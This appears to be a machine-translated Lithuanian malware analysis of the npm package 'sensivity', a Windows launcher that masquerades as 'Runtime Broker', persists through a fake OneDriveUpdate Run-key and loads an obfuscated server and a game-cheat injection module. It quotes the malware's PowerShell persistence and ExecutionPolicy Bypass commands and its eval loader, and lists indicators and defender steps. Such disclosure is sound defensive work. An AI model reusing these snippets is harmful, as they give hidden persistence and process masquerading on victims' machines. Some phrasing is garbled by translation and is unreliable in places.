Lt; DR
Npm paketas jautrumas apibūdina save kaip „jautrumo valdymo skydą“. „Windows“ sistemoje jis veikia kaip nuotolinio valdymo ir stebėjimo įrankis.
Jo įėjimo taškas, launcher.js, pervadina savo procesą į „Runtime Broker“, įrašo automatiškai paleidžiamą „Run-key“ reikšmę pavadinimu OneDriveUpdate kuris iš naujo paleidžia paketą per paslėptą VBScript, sukuria „PowerShell“ su -ExecutionPolicy Bypass, o tada įvertina 171 KB užmaskuotą serverio naudingąją apkrovą kartu su 6.87 MB natyviuoju moduliu, sens.node.
Jis teikia telefonų susiejimo valdymo skydelio paslaugas TCP 3000 prievade ir nuskaito aktyvios naršyklės adreso juostos URL per „Windows UIAutomation“, ieškodamas vieno užkoduoto „YouTube“ vaizdo įrašo.
Dvi dalys, kurios anksčiau buvo laikomos juodomis dėžėmis, dabar išspręstos. Užmaskuotas serveris, server.obf.js, naudoja „obfuscator.io RC4“ eilučių masyvo schemą; iš naujo įdiegus dekoderį neprisijungus (nevykdomas „JavaScript“), atkuriamas vienas išorinis galinis taškas — https://izopi.com/check.php — kartu su įterptuoju RSA viešuoju raktu, naudojamu pasirašytiems licencijų atsakymams patikrinti.
Gimtasis modulis, sens.node, nėra supakuotas: jo importavimo lentelė ir įterptosios eilutės identifikuoja jį kaip „DirectX 11“ / „Dear ImGui“ žaidimo perdangą, teikiančią „aimbot“, ESP (sienos įsilaužimo) ir „triggerbot“ funkcijas, valdomas nuotolinio proceso injekcijos ir atminties skaitymo / rašymo.
Jame esančios eilutės nurodo transporto priemonių objektus ir žemėlapio vietas, atitinkančias „GTA V“ / „FiveM“. „npm“ paketas yra šio natyvaus modulio pristatymo ir išsaugojimo apvalkalas.
Apibrėžiamasis signalas yra operacinis, o ne techninis: vienas anoniminis leidėjas išleido maždaug septyniasdešimt vieno paketo versijų – 2.5.0 iki 2.5.69 – per kelias dienas, kiekvieną dieną nešdami tą patį paleidimo įrenginį.
Nėra jokių diegimo hooksNaudingoji apkrova paleidžiama tik paleidus paketą.
Ataka: kaip ji veikia
„sensivity“ pateikia dešimt failų. „package.json“ yra retas: nėra saugyklos lauko, nėra licencijos, yra pagrindinis ir du „bin“ slapyvardžiai („sensivity“, „sens“), visi nukreipiantys į „launcher.js“, ir „node launcher.js“ paleidimo scenarijus. Nėra jokių išankstinio ar poįdiegimo veiksmų. Niekas nesuveikia diegiant „npm“. Toliau aprašytas elgesys veikia, kai vartotojas paleidžia paketą – per „bin shim“, paleidimo scenarijų arba „require“.
„Tarball“ faile yra paleidimo priemonė, užmaskuotas serveris, vietinis modulis, „Visual Basic“ scenarijus ir viešas/web katalogas valdymo skydui. „launcher.js“ yra skaitomas orkestravimo įrankis; vykdymo metu svarbi logika yra dviejuose įkeliamuose „blob“ elementuose – užmaskuotame serveryje ir kompiliuotame vietiniame modulyje, kurie abu aptariami toliau.
Procesų maskavimas ir netikras „OneDrive“ atnaujinimas
Ankstyvoje vykdymo stadijoje „launcher.js“ du kartus nustato savo proceso pavadinimą:
javascript process.title = 'Runtime Broker'; „Runtime Broker“ yra teisėtas „Windows“ procesas („RuntimeBroker.exe“), kuris tarpininkauja programų leidimams. Pervadinus „Node“ procesą taip, kad jis atitiktų šį pavadinimą, greitai žvilgtelėjus į užduočių tvarkytuvę, nieko neįprasto nepamatysite.
Patvarumas įrašomas naudojant „PowerShell“, o ne tiesioginę registro API:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Automatinio paleidimo reikšmė pavadinta „OneDriveUpdate“ ir ji tiesiogiai nenurodo į paketą. Ji nurodo į wscript.exe, kuriame vykdomas susietas „OneDrive.Standalone.Updater.vbs“ failas. Šis scenarijus paslėptame lange iš naujo paleidžia „node launcher.js“. Tiek „Run-key“ pavadinimas, tiek „VBScript“ failo pavadinimas pasiskolina „Microsoft“ prekės ženklą, todėl automatinio paleidimo įrašas skaitomas kaip įprasta „OneDrive“ užduotis.
„PowerShell“ su vykdymo politikos apėjimu
Paleidimo programa nuolat kreipiasi į „PowerShell“. Skeneriai kaip kritinius pažymi paleidžiamą .ps1 failą su išjungta vykdymo politika:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); „ExecutionPolicy Bypass“ pašalina vietinį scenarijaus pasirašymo patikrinimą šiam iškvietimui. Sugeneruoti scenarijai atlieka naršyklės stebėjimo ir langų aptikimo darbus, aprašytus kitame skyriuje.
Užmaskuotas serveris ir vietinis modulis
Po sąrankos „launcher.js“ įkelia ir vykdo savo tikrąją naudingąją apkrovą:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js yra 171 KB _0x masyvo obfuskacijos failas – „JavaScript“ šablonas, kai kiekviena eilutė ir identifikatorius pakeičiami indeksu į sumaišytą masyvą, o tada vykdymo metu panaikinami nuorodos. Schema yra RC4 variantas, sukurtas „obfuscator.io“: viena dekodavimo funkcija base64 būdu dekoduoja masyvo įrašą, o tada RC4 būdu jį iššifruoja su kiekvieno iškvietimo raktu. Pakartotinai įdiegus tą dekoderį atskirame scenarijuje – vykdant tik pakartotinį įdiegimą per išgautą 821 įrašų eilučių masyvą, o ne naudojant paties paketo „JavaScript“ kodą, – jis tvarkingai išpakuojamas. Tai, kas matoma, yra kuklu, bet aišku...cisive: vienas išorinis URL, https://izopi.com/check.php`, priskirtas LICENSE_URL konstantai; įterptas RSA PUBLIC_KEY_PEM`; vietinio skydelio maršrutai /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off ir /trigger/status; ir eilutės child_process, crypto ir [Sensivity] sens.node loaded – paskutinė yra tiksli žurnalo eilutė, kurią paleidimo programa perrašo įkeltam programos moduliui. Galinis taškas yra licencijos patikrinimas: klientas paskelbia identifikatorių (užmaskuotas serveris suformatuoja „Discord ID: %s“ eilutę), o RSA raktas patikrina serverio pasirašytą atsakymą.
„sens.node“ yra 6.87 MB dydžio sukompiliuotas vietinis priedas, jis nėra supakuotas – sekcijos entropija yra 5.6–6.6, o PE importavimo ir eksportavimo lentelės yra nepažeistos, todėl jo galimybes galima skaityti tiesiogiai. Jis eksportuoja „napi_register_module_v1“, standard N mazgo API įėjimo taškas, todėl įvertintas serveris jį įkelia su paprastu „require“ užklausa. Jo importavimo lentelė yra „tell“. Iš KERNEL32 jis ištraukia „OpenProcess“, „VirtualAllocEx“, „WriteProcessMemory“, „ReadProcessMemory“, „CreateRemoteThread“, „K32EnumProcessModules“ ir „Process32First/NextW“ – kanoninį rinkinį, skirtą kito proceso paieškai, atminties paskirstymui jame ir tos atminties skaitymui arba rašymui. Iš USER32 jis ištraukia „GetAsyncKeyState“, „GetKeyState“, „mouse_event“ ir „SetCursorPos“; jis susieja d3d11.dll, D3DCOMPILER_43 ir dwmapi, kad būtų rodomas ekrano perdengimas, ir visą WINHTTP rinkinį tinklo skambučiams. Įterptosios eilutės vienareikšmiškai įvardija funkcijų rinkinį: „Enable Aimbot“, „Aimbot FOV“, „Box ESP“, „Skeleton ESP“, „Triggerbot“, „ESP Builder“, „Vehicle ESP“, „Electron Anti-cheat detected“ ir „Dear ImGui“ reklaminė juosta „Dear ImGui 1.91.3 WIP“. Vietos ir objekto eilutės, pvz., „Grapeseed Medical Clinic“ ir transporto priemonės ESP žodynas, atitinka „GTA V“ / „FiveM“.
Šis padalijimas iš esmės yra sąmoningas: skaitomas „launcher.js“ failas turi tik tas dalis, kurias skaitytuvas lengvai nuskaito – išsaugojimą, maskavimą, patį „eval“ iškvietimą, – o obfuskacija paslepia vieną išorinį mazgą – vykdymo laiko kontaktus, o dvejetainis failas saugo žaidimo perdangą ir proceso injekcijos logiką. Paleidimo programa yra plona, audituojama apvalkalo dalis; obfuskuotas serveris paslepia tinklo tapatybę; vietinis modulis yra naudingoji apkrova. Dvejetainio failo importus ir eilutes aprašome kaip nuskaitytas; iš jų nenustatome operatoriaus tikslo.
Telefono susiejimo valdymo pultas, prijungtas prie 3000 prievado
Paleidimo programa valdo vietinį žiniatinklio serverį, esantį TCP 3000 prievade, ir traktuoja jį kaip atskirą serverį. Ji siunčia užklausą dėl esamo klausytojo ir jį išvalo prieš susiejimą:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Skydelį galima pasiekti adresu http://localhost:3000, naudojant užkoduotą atsarginį LAN URL adresą http://192.168.1.16:3000. Katalogas „public/“ ir skydelio veikimas atitinka QR kodo susiejimo srautą: telefonas nuskaito kodą ir prisijungia prie pagrindinio kompiuterio kaip nuotolinio valdymo pultas. Paleidimo programoje atvirojo teksto formatu nerodoma jokia išorinė komandų ir valdymo sritis, tačiau, kaip parodyta aukščiau pateiktame deobfuskacijos etape, viena iš jų yra užmaskuotame serveryje: izopi.com licencijos galinis taškas. Pats skydelis yra vietinis ir veikia LAN tinkle; vienintelis išeinantis pagrindinis kompiuteris yra tas licencijos patikrinimas.
Atskirtas prižiūrėtojo/darbininko modelis palaiko procesą. Paleidimo programa vėl paleidžiama su SENSIVITY_SUPERVISOR ir SENSIVITY_WORKER aplinkos žymėmis, kiekvienas vaikas veikia paslėptai, todėl uždarius vieną procesą, lieka stebėjimo programa, kuri jį paleidžia iš naujo.
Naršyklės stebėjimas ir „YouTube“ signalas
Specifiškiausias elgesys yra naršyklės stebėjimas. „launcher.js“ sukuria „PowerShell“, kuris leidžia „Windows UIAutomation“ nuskaityti veikiančios naršyklės adreso juostą:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', „ValuePattern“ grąžina vartotojo sąsajos elemento tekstinį turinį. Pritaikytas naršyklės adreso juostos redagavimo valdikliui, jis grąžina URL, kurį šiuo metu peržiūri auka – be naršyklės plėtinio, neliečiant profilio diske ir be API priekabos. Sugeneruotas scenarijus iteracijoje pateikia „$browserNames“ sąrašą ir išgauna bet kurios naršyklės URL arba lango pavadinimą.
Tas URL yra testuojamas pagal vieną užkoduotą taikinį:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Paleidimo programa trijų sekundžių cikle atlieka apklausą naršyklės lange, kuriame rodomas „YouTube“, o sugeneruotame „PowerShell“ yra „Get-YouTubeBrowser“ / „Test-TargetYouTubeUrl“ pora, kuri atitinka tą vaizdo įrašo ID. Stebimas efektas yra dvejopas: aktyvus naršymo URL nuskaitomas iš aukos ekrano ir aptinkama prieglobos serverio sąveika su vienu konkrečiu „YouTube“ vaizdo įrašu. Aprašome mechanizmą ir taikinį; iš jų nenustatome motyvo.
Adreso juostos nuskaitymas yra tai, ką skaitytuvas žymi kaip sensitive_data_enumeration – tai Process::env ir UIAutomation šaltinis, maitinantis tinklą palaikančią vykdymo aplinką. Atskirai jis atrodo nekenksmingas ir tampa stebėjimo objektu tik tada, kai duomenų gyvavimo ciklas atsekamas nuo UIAutomation šaltinio iki užmaskuoto serverio.
Laiko juosta ir versijų evoliucija
Jautrumas nėra vienkartinis įkėlimas. Leidėjo paskyroje yra maždaug septyniasdešimt paskelbtų šio vieno paketo versijų, o peržiūros laikotarpiu vis buvo atsinešama naujų. Paleidimo programa plečiasi po vieną funkciją visoje 2.5.x versijoje, o jos patvarumas ir naudingosios apkrovos įkėlimas išlieka nepakitę.
| Data (UTC) | Stebėtos versijos | Paleidimo įrenginio būsena |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Bazinis QR skydelio paleidėjas; Vykdymo klavišo išlaikymas; užmaskuoto serverio įvertinimas. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Tas pats piršto atspaudas; konsolės pėdsakų slopinimas. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Pridedamas prisegtas „YouTube“ įsitraukimo tikslas wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Pakartotinis skelbimas visame diapazone, užpildantis spragas; vadovas / darbuotojų priežiūros institucija. |
Peržiūrėjus paleidimo priemonę tarp atsisiųstų atstovų – 2.5.0, 2.5.36 ir 2.5.69 – matyti keturi lygiai. Ankstyviausiose versijose yra bazinis QR susiejimo paleidimo įrenginys. Nuo 2.5.33 versijos atsiranda „UIAutomation“ adreso juostos rinktuvas. Nuo 2.5.58 versijos pridedamas prižiūrėtojo ir valdymo sluoksnis. Nuo 2.5.64 versijos rinkinį užbaigia atskiras prižiūrėtojo / darbuotojo stebėjimo elementas. Viso proceso metu keturi dalykai niekada nesikeičia: „OneDriveUpdate Run“ raktas, „OneDrive.Standalone.Updater.vbs“ lašintuvas, „eval'd server.obf.js“ ir „sens.node“ vietinis modulis.
2026-06-05 banga pastebima tuo, kad jos metu buvo iš naujo paskelbti žemesni versijų numeriai – nuo 2.5.0 iki 2.5.15 – kurie yra žemesni nei prieš kelias dienas patvirtintos versijos. Dėl to registre atsiranda vientisa 2.5.x eilutė, o kiekvienoje versijoje yra tas pats paleidimo įrenginys.
Kompromiso rodikliai
Visi toliau nurodyti indikatoriai buvo nuskaityti tiesiai iš paketo tarball. Skaitomas paleidimo įrenginys turi tik kilpinį ryšį ir vieną privatų LAN adresą; vienas išorinis pagrindinio kompiuterio pavadinimas, izopi.com, buvo atkurtas neprisijungus deobfuscuojant server.obf.js.
| Tipas | rodiklis | Pastaba |
|---|---|---|
| Paketas | npm:sensivity (≈70 versijų, 2.5.0-2.5.69) | Vieno paketo leidėjas; be saugyklos; nelicencijuotas. |
| filė | launcher.js | Įskaitomas orkestratorius; pagrindinis ir šiukšliadėžės paskirties failai. |
| filė | server.obf.js (≈171 KB) | „obfuscator.io“ RC4 eilučių masyvo naudingoji apkrova, įkelta per eval(fs.readFileSync(...)). |
| filė | sens.node (≈6.87 MB) | PE32+ x86-64 mazgo N-API priedas; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| filė | OneDrive.Standalone.Updater.vbs | Paslėptas paleidimo įrankis (node launcher.js). |
| tinklas | https://izopi.com/check.php | Licencijos / autentifikavimo galinis taškas atkurtas iš užmaskuoto serverio; įterptasis RSA viešasis raktas tikrina atsakymus. |
| Pajėgumas | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Nuotolinio procesų įterpimo ir atminties skaitymo / rašymo galimybė. |
| Pajėgumas | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | „DirectX 11“ / „ImGui“ žaidimo perdanga, įgyvendinanti „Aimbot“, ESP ir „Triggerbot“ funkcijas. |
| registras | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Automatinio paleidimo reikšmė, rodanti ties wscript.exe ir VBScript paleidimo priemonė. |
| Procesas | process.title = 'Runtime Broker' | Apsimeta teisėtu „Windows Runtime Broker“ procesu. |
| Elgsenos | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Vykdymo politikos apėjimas, naudojamas sugeneruotiems „PowerShell“ scenarijams. |
| Elgsenos | UIAutomation ValuePattern naršyklės adreso juostos skaitymas | Nuskaito priekinio plano naršyklės lango URL adresą. |
| Elgsenos | Tikslinio vaizdo įrašo ID wJWta2lO0Lw3 sekundžių trukmės „YouTube“ apklausa | Prisegtas įsitraukimo stebėjimo signalas. |
| tinklas | http://localhost:3000, atsarginis variantas http://192.168.1.16:3000 | QR kodo susiejimo valdymo skydelis rodomas lokaliai ir LAN tinkle. |
| aplinka | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Atskirtos stebėjimo proceso koordinavimo vėliavėlės. |
Priskyrimas, poveikis ir gynėjai
Paketą publikuoja viena „npm“ paskyra, kurios nurodytas el. pašto adresas yra nepatvirtintas „Gmail“ adresas. Paskyros registro reputacijos balas yra labai neigiamas, ji tvarko ir publikuoja tik šį vieną paketą ir neturi susietos šaltinio saugyklos. Mes nepatikrinome el. pašto adreso nuosavybės ir kampaniją priskiriame leidėjo paskyrai, o ne jokiam įvardintam asmeniui. Paleidimo programa neturi atvirojo teksto infrastruktūros, tačiau dabar žinomas vienas išorinis serveris: užmaskuotas serveris susisiekia su izopi.com dėl licencijos patikrinimo, o vietinis modulis – skaitomas iš importavimo lentelės ir eilučių, o ne atvirkštine instrukcija po instrukcijos – yra žaidimo perdanga, kuri įterpia duomenis į kito proceso atmintį ir nuskaito jo atmintį.
Pastebimas poveikis pasireiškia „Windows“ vartotojams, kurie įdiegia ir paleidžia jautrumo paketą, tikėdamiesi valdymo skydo įrankio. Šiuose pagrindiniuose kompiuteriuose paketas nustato automatinio paleidimo išsaugojimą, užmaskuotą kaip „OneDrive“ užduotis, pervadina save, kad imituotų sistemos procesą, nuskaito bet kokio vartotojo naršomo turinio URL ir paleidžia susiejimo skydelį, kuris susieja kompiuterį su nuotoliniu įrenginiu per vietinį tinklą. Prižiūrėtojo / darbuotojo stebėjimo funkcija reiškia, kad vieno proceso uždarymas jo nepašalina; „Run-key“ įrašas išlieka ir paleidus iš naujo. Paleidimo programa netaikoma „macOS“ ir „Linux“ – išsaugojimo, „PowerShell“ ir „UIAutomation“ keliai skirti tik „Windows“.
Septyniasdešimties versijų praradimas yra tendencija, į kurią verta atkreipti dėmesį. Vieno paketo pakartotinis publikavimas dešimtis kartų per kelias dienas, įskaitant versijų numerių užpildymą žemiau jau pašalintų, išsaugo aktyvią kopiją registre tarp pašalinimų ir neigiamai veikia versijų prisegtus blokavimo sąrašus. Blokavimo sąrašo įrašas, skirtas sensivity@2.5.61, nieko nepadaro prieš sensivity@2.5.3 pakartotinį publikavimą kitą dieną.
Gynėjai gali imtis šių veiksmų:
- Registro tarpinio serverio ir sąsajos leidžiamųjų sąrašų skiltyje visiškai užblokuokite paketo pavadinimo jautrumą. Atskirų versijų prisegimas praranda pakartotinio publikavimo dažnį; pavadinimas yra ilgalaikis indikatorius.
- Ieškokite vykdymo reikšmės pavadinimu „OneDriveUpdate“, kurios duomenys iškviečia „wscript.exe“ .vbs faile vartotojo kelyje. Tikrasis „OneDrive“ naujinimo įrankis tokiu būdu neregistruojamas.
- Įspėjimas apie „Node.js“ procesą, kurio process.title yra „Runtime Broker“. Tikrasis brokeris yra „RuntimeBroker.exe“, o ne „Node“ vykdymo aplinka.
- Pažymėkite npm diegimo laiko paketų, kurie pateikia sukompiliuotą .node priedą ir giminingo .obf.js failo eval(fs.readFileSync(…)), gavimą. Šis susiejimas – neskaidrus gimtoji dvejetainė programa, įkelta šalia užmaskuoto teksto turinio – yra struktūrinis nurodiklis, nepriklausomas nuo jokio eilutės IOC.
- Bet kokį lokaliai susijusį klausytoją, prijungtą prie 3000 prievado ir sukurtą netikėto mazgo proceso, valdomuose „Windows“ galiniuose taškuose traktuokite kaip įtartiną.
- Blokuoti arba įspėti apie iš kūrėjo arba galutinio vartotojo serverių į izopi.com siunčiamas užklausas; tai vienintelis išorinis paketo galinis taškas, pasiekiamas adresu /check.php iš užmaskuoto serverio.
- Prieš pasitikėdami bet kokiu paketiniu .node priedu, patikrinkite jo importavimo lentelę. „OpenProcess“ + „VirtualAllocEx“ + „WriteProcessMemory“ + „CreateRemoteThread“ derinys yra nuotolinio proceso injekcija, nepriklausomai nuo to, ką paketas teigia darantis; čia jis yra šalia „Direct3D“ perdangos ir „aimbot“ / „ESP“ / „triggerbot“ eilučių.
Statinei analizei pipelineNuteisimo forma išlieka stabili visoje versijų kaitoje: ne tinklo diegimo profilis, proceso pavadinimo priskyrimas žinomam sistemos proceso pavadinimui, „Run-key“ rašymas per „PowerShell“ ir iš disko nuskaityto failo įvertinimas. Nė vienas iš jų nepriklauso nuo domeno, IP adreso ar versijos numerio, kurį galima pakeisti kito pakartotinio paskelbimo metu.
Nuorodos
[npm: jautrumas] – čia aptartos paketo versijos eilutės registro puslapis; gali būti pašalintas.





